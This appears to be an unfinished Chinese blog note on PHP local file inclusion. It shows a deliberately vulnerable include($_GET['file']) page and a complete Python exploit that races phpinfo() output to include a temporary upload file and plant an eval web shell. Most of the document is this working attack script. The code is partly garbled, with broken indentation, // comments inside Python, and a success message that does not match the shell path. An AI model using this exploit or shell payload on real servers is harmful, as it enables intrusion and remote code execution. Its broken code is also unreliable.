文件包含奇技淫巧

未完成

一个项目中遇到的漏洞

环境搭建

index.php

<?php
$a = @$_GET['file'];
echo 'include $_GET[\'file\']';
if (strpos($a,'flag')!==false) {
die('nonono');
}
include $a;
?>

phpinfo.php

<?php
phpinfo();
?>

代码分析

首先我们要读取flag，想要直接include包含flag，但是flag被过滤了。然后想要使用php://input也无法使用因为。allow_url_fopen、allow_url_include这两个属性没有都On

然后dir是进行目录扫描的，扫描我们的临时文件。看到临时文件我们可以有这个么思路，我们可以在生成临时文件的时候进行竞争，在没删掉之前就包含成功。或者在生成临时文件的时候让那个php文件停下来。

在这里有一个phpinfo的页面

这里有一个想法就是在header头部填充数据，然后phpinfo会打印我们的header头部，这样让进程走的慢一些，然后在没打印完成时是不会删除临时文件的。然后我们想办法包含这个文件就可以了。这里是一个线程不停的在phpinfo发送垃圾数据，一个线程在index.php不断地包含文件。

脚本

#!/usr/bin/python
import sys
import threading
import socket
import time


def setup(host, port):
    TAG = "Security Test"
    PAYLOAD = """%s\r
	<?php fputs(fopen('../../shellaaaaa.php','w'),'<?php @eval($_POST[a]);')?>\r""" % TAG
    REQ1_DATA = """-----------------------------7dbff1ded0714\r
    Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
    Content-Type: text/plain\r
    \r
    %s
    -----------------------------7dbff1ded0714--\r""" % PAYLOAD
    padding = "A" * 5000
    REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1\r
    Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """\r
    HTTP_ACCEPT: """ + padding + """\r
    HTTP_USER_AGENT: """ + padding + """\r
    HTTP_ACCEPT_LANGUAGE: """ + padding + """\r
    HTTP_PRAGMA: """ + padding + """\r
    Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
    Content-Length: %s\r
    Host: %s\r
    \r
    %s""" % (len(REQ1_DATA), host, REQ1_DATA)
        # modify this to suit the LFI script
        LFIREQ = """GET /lfi.php?file=%s HTTP/1.1\r
    User-Agent: Mozilla/4.0\r
    Proxy-Connection: Keep-Alive\r
    Host: %s\r
    \r
    \r
    """
    return (REQ1, TAG, LFIREQ)


def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((host, port))
    s2.connect((host, port))

    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index("[tmp_name] =&gt; ")
        fn = d[i + 17:i + 44]
    except ValueError:
        return None

    s2.send(lfireq % (fn, host))
    d = s2.recv(4096)
    s.close()
    s2.close()

    if d.find(tag) != -1:
        return fn


counter = 0


class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock = l
        self.maxattempts = m
        self.args = args
//shell运行成功会到这里
    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter += 1

            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break
                if x:
                    print "\nGot it! Shell created in /tmp/g"
                    self.event.set()

            except socket.error:
                return


def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.send(phpinforeq)

    d = ""
    while True:
        i = s.recv(4096)
        d += i
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0\r\n\r\n"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt; ")
    if i == -1:
//临时文件没找到
        raise ValueError("No php tmp_name in phpinfo output")

    print "found %s at %i" % (d[i:i + 10], i)
    # padded up a bit
    return i + 256


def main():
    print "LFI With PHPInfo()"
    print "-=" * 30

    if len(sys.argv) < 2:
        print "Usage: %s host [port] [threads]" % sys.argv[0]
        sys.exit(1)

    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error, e:
        print "Error with hostname %s: %s" % (sys.argv[1], e)
        sys.exit(1)

    port = 80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with port %d: %s" % (sys.argv[2], e)
        sys.exit(1)

    poolsz = 10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with poolsz %d: %s" % (sys.argv[3], e)
        sys.exit(1)

    print "Getting initial offset...",
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()

    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()

    print "Spawning worker pool (%d)..." % poolsz
    sys.stdout.flush()

    tp = []
    for i in range(0, poolsz):
        tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag))

    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write("\r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        print
        if e.is_set():
            print "Woot!  \m/"
        else:
            print ":("
    except KeyboardInterrupt:
        print "\nTelling threads to shutdown..."
        e.set()

    print "Shuttin' down..."
    for t in tp:
        t.join()


if __name__ == "__main__":
    main()